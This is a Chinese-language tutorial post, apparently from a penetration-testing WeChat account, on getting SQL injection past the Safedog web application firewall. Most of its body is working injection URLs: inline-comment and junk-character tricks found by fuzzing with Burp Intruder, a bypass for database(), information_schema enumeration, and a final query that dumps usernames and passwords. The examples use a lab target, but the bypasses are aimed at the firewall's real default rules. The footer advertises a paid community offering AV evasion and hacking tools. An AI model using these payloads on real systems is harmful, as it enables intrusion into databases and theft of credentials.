最新版安全狗注入绕过方法 | 干货
2023-5-8 22:39:54 Author: 渗透安全团队(查看原文) 阅读量:42 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

SQL注入常规绕过的方式例如大小写,双写,编码,字符堆叠等等就不多叙述了,这里针对安全狗默认不开启防CC功能和他的一些防护规则作为突破点进行一个简单的FUZZ 绕过。

安全狗的详细绕过如下:

这里我们以安全狗作为案例,如果你按照常规方法输入 and,那么它会对这个进行一个过滤,从而出现如下界面

01

安全狗 and 的绕过(防止 and 和 or 的注入):

将 and 修改为 /*!12345and*/

注意12345是任意的五位数字,五位!(通常4-6位数字)

然后通过 burp 进行拦截,然后发送到 intruder 模块

然后我们需要先点击 clear,然后选中 12345 点击 add

然后即可进行爆破

然后就是找特征值,例如 14414 即为我们的 payload

http://security/Less-1/?id=2' /*14414and*/ 1=1 -- 1

and 绕过使用 /*!12345*/

另外 12345 这几个数字是随机的,位数推荐 4-6 位

02

安全狗 order by 的绕过(防止 ordery by 函数的利用):

当你的 get 请求 order by 如果是一起出现的时候,则会出现安全狗警告,这个时候你可以在 orderby 之间添加一些字符,(还是 4-6 位)触发页面如下:

order /*特殊符号*/ by

注意这里我们不用加上 !,因为我们是添加干扰字符

这里和上面 and 或者 or 绕过的方式不同的是,这里我们采用的是 在 order 和 by 之间添加干扰字符,而不是数字,从而实现绕 过

推荐使用的特殊字符:/$%^&*

同样的原理,对其进行爆破之后,得到 payload 为 //%$

http://security/Less-1/?id=2' order /*//%$*/ by 1 -- 1

03

安全狗 select union 的绕过(防止联合查询 union):

select 和 union 放在一起的时候会触发

跟上面那个 order by 放在一起会触发一样的绕过道理,不过 select union 需要我们再次通过 burp 进行 fuzz

既然一样的绕过方式,那么 select /*/$%^*/ union 也是一样的方式,抓包,然后去 fuzz 

http://security/Less-1/?id=-2' union /*/$%^*/ select 1,2,3 -- 1

上面我们介绍的是 and ,or,以及 select union 联合查询的绕过, 但是这是远远不够的,我们重点应该是放在如何绕过,从而查询数据

04

查询数据的绕过:

database()的绕过:

database()放在一起的时候会触发 

waf,因此在 database 和 ()之间添加干

扰符即可,这里的干扰符是 ////

查询库的绕过语句:

http://security/Less-1/?id=-2' union /*/$%^*/ select 1,database/*////*/(),3 -- 1

查询到对应的数据库为 security,接下来就是查询表

查询表的绕过:

第一个绕过点: information_schema.tables

waf 会对后面那个 tables 进行拦截,要想绕过,需改成

information_schema./*!tables*/

第二个绕过点:from 和 information_schema./*!tables*/

当这两个放在一起的时候就会触发 waf,尽管 information_schema./*!table*/ 进行了绕过,但是还是会触发 waf

这里我们就要对 frominformation.schema./*!tables*/ 之间进行处理了

 http://security/Less-1/?id=-2' union /*/$%^*/ select 1,group_concat(table_name),3 from --+ /*%/ %0a information_schema./*!tables*/ -- 1

绕过过程:首先在 unionselect 之间放干扰符号,然后在 from 和 information_schema 之间放 --+以及正确的干扰符,然后通过 %0a 进行换行,最后把 information_schema.tables 中 tables 通过内联的方式进行绕过修改为 information_schema./*!tables*/

这里我们可以看到,数据全部都被取出来了,但是还有一个局限的点,这里我们没有通过 where 去指定对应的数据库,where table_name = security,因此它会查询出所有库里面的数据,因此我们还需要指出对应的库名才行

但是这里它又会出现 waf 拦截,因为 information_schema where 出现在了一起,因此又需要在中间添加干扰符,在 information_schema./*!tables*/ /*干扰符*/ where 去进行 fuzz 测试

http://security/Less-1/?id=-2' union /*/$%^*/ select 1,group_concat(table_name),3from --+/*%/ %0a information_schema./*!tables*/ /*////*/where table_schema='security' -- 1

从而获取到 security 库所有的表名:

获取 security 对应表下的所有列名:

无非多添加了一个 and,and 采用内联的方式进行绕过

http://security/Less-1/?id=-2' union/*/$%^*/ select 1,group_concat(column_name),3from -- +/*%/ %0ainformation_schema./*!columns*//*////*/ where table_schema='security' /*!12441and*/ table_name='users' -- 1

查询数据的绕过:

http://security/Less-1/?id=-2' union/*/$%^*/ select 1,group_concat(username,0x3a,password),3 from /*////*/  users  -- +

此时可以看到已经绕过安全狗


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247504492&idx=2&sn=939cafc6de12c452c23ecdf55b8862c6&chksm=c1762fc3f601a6d59a972bebf6358de2e91eb61149975a776ef6cc6643492d7c6bf4d7d29399#rd
如有侵权请联系:admin#unsafe.sh